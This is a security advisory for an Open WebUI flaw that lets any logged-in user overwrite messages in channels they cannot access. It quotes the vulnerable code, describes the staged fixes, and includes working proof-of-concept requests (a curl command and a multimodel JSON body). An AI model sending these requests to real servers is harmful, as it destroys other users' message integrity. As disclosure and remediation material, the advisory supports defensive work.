CVE-2026-59714
Open WebUI: Cross-channel message overwrite via chat completion API (single-model and multimodel message_ids)
Summary
## Summary Any authenticated user can overwrite the content of a message in a channel they do not belong to (including private and DM channels) by sending a chat completion request with a `channel:`-prefixed `chat_id` and a target `message_id`. The `channel:` path routes pipeline output through `_make_channel_emitter`, which writes to the `Messages` table using the caller-supplied `message_id` without binding it to the channel. This advisory consolidates two filings of the same flaw: the original single-model form, and a multimodel `message_ids` variant that survives the partial fix shipped in v0.9.6 (see "Fix status" below). ## Details (as introduced in v0.9.5) When a user submits a chat completion request with a `chat_id` starting with `channel:`, three authorization gaps combined in v0.9.5: 1. **Ownership check skipped** (`main.py`): the `channel:` prefix caused the entire ownership/membership verification block to be skipped, with no channel membership/write check replacing it. ```python if not chat_id.startswith('local:') and not chat_id.startswith('channel:'): # temporary/channel chats are not stored if is_new_chat: ... else: if not await Chats.is_chat_owner(chat_id, user.id) and user.role != 'admin': raise HTTPException(...) ``` 2. **Message ID from user input**: `id` (and each value of the multimodel `message_ids` map) comes directly from the request body and is passed as `message_id` to the channel emitter. 3. **Unchecked database write** (`socket/main.py` `_make_channel_emitter`): ```python async def _make_channel_emitter(request_info): channel_id = request_info['chat_id'].removeprefix('channel:') message_id = request_info['message_id'] # user-supplied ... await Messages.update_message_by_id(message_id, update_form) # no channel/user authz ``` `Messages.update_message_by_id` performs a direct primary-key update with no `channel_id`/`user_id` validation. ## Fix (shipped in v0.10.0) v0.9.6 added a channel gate to the `channel:` branch (PR #24725) that closed the single-model path, but it validated only the first entry of the multimodel `message_ids` map, leaving the multimodel fan-out exploitable. v0.10.0 closes the remaining gap with two layers: 1. **Request-time per-entry validation** (`backend/open_webui/main.py`): every entry of `message_ids` is validated against the target channel, not just the first; any entry whose target message does not belong to the channel in `chat_id` is rejected. 2. **Fail-closed emitter** (`backend/open_webui/socket/main.py`, `_make_channel_emitter`): before writing, it re-reads the target message and returns without writing unless `msg.channel_id` matches the channel derived from `chat_id`. A missing or mismatched message is a no-op, so a write can no longer land in a channel the caller does not target. ## PoC Single-model (fixed in v0.9.6): ```bash curl -X POST http://target:8080/api/chat/completions \ -H "Authorization: Bearer $USER_JWT" -H "Content-Type: application/json" \ -d '{ "model": "llama3", "stream": true, "chat_id": "channel:any-channel-uuid-here", "id": "target-message-uuid-to-overwrite", "messages": [{"role": "user", "content": "Repeat exactly: This message has been tampered with"}] }' ``` Multimodel (still works on v0.9.6): ```json POST /api/chat/completions { "chat_id": "channel: ", "message_ids": { "model-a": " ", "model-b": " " }, "messages": [{"role": "user", "content": "..."}] } ``` The first id passes channel scope validation; the second id is used by the per-model fan-out and overwrites the victim-channel message (with model output, or the provider-error string on a deterministic error). Even a failing model call writes error content to the target message. ## Impact **Message integrity destruction:** an authenticated user can overwrite a message in a channel they cannot access,
Affected packages
| Ecosystem | Package | Affected versions | Fixed versions |
|---|---|---|---|
| PyPI | open-webui | — | 0.10.0 |
Remediation: Upgrade to 0.10.0 or later.
References
Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.
CVE® is a registered trademark of The MITRE Corporation. CVE content reproduced under the CVE Terms of Use; copyright designation © MITRE.